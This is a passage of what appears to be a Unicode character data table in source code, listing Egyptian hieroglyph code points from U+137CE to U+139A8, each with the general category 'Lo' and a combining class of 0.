("EGYPTIAN HIEROGLYPH-137CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13800", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13801", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13802", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13803", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13804", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13805", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13806", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13807", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13808", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13809", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1380A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1380B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1380C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1380D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1380E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1380F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13810", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13811", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13812", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13813", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13814", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13815", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13816", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13817", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13818", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13819", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1381A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1381B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1381C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1381D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1381E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1381F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13820", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13821", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13822", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13823", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13824", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13825", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13826", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13827", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13828", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13829", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1382A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1382B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1382C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1382D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1382E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1382F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13830", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13831", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13832", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13833", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13834", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13835", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13836", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13837", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13838", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13839", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1383A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1383B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1383C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1383D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1383E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1383F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13840", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13841", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13842", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13843", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13844", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13845", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13846", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13847", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13848", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13849", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1384A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1384B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1384C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1384D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1384E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1384F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13850", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13851", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13852", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13853", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13854", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13855", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13856", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13857", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13858", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13859", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1385A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1385B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1385C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1385D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1385E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1385F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13860", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13861", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13862", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13863", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13864", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13865", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13866", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13867", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13868", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13869", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1386A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1386B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1386C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1386D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1386E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1386F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13870", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13871", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13872", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13873", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13874", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13875", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13876", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13877", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13878", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13879", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1387A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1387B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1387C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1387D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1387E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1387F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13880", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13881", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13882", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13883", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13884", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13885", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13886", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13887", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13888", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13889", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1388A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1388B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1388C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1388D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1388E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1388F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13890", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13891", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13892", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13893", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13894", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13895", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13896", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13897", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13898", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13899", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1389A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1389B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1389C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1389D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1389E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1389F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-138FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13900", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13901", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13902", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13903", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13904", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13905", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13906", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13907", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13908", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13909", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1390A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1390B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1390C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1390D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1390E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1390F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13910", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13911", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13912", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13913", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13914", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13915", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13916", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13917", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13918", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13919", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1391A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1391B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1391C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1391D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1391E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1391F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13920", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13921", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13922", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13923", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13924", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13925", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13926", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13927", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13928", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13929", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1392A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1392B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1392C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1392D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1392E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1392F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13930", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13931", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13932", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13933", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13934", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13935", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13936", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13937", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13938", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13939", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1393A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1393B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1393C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1393D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1393E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1393F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13940", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13941", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13942", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13943", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13944", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13945", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13946", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13947", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13948", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13949", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1394A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1394B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1394C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1394D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1394E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1394F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13950", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13951", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13952", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13953", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13954", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13955", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13956", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13957", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13958", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13959", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1395A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1395B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1395C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1395D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1395E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1395F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13960", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13961", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13962", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13963", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13964", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13965", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13966", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13967", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13968", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13969", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1396A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1396B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1396C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1396D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1396E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1396F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13970", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13971", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13972", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13973", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13974", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13975", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13976", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13977", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13978", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13979", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1397A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1397B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1397C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1397D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1397E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1397F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13980", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13981", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13982", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13983", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13984", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13985", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13986", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13987", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13988", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13989", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1398A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1398B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1398C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1398D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1398E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1398F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13990", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13991", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13992", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13993", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13994", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13995", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13996", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13997", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13998", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13999", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1399A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1399B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1399C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1399D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1399E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1399F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139A8", "Lo", 0),
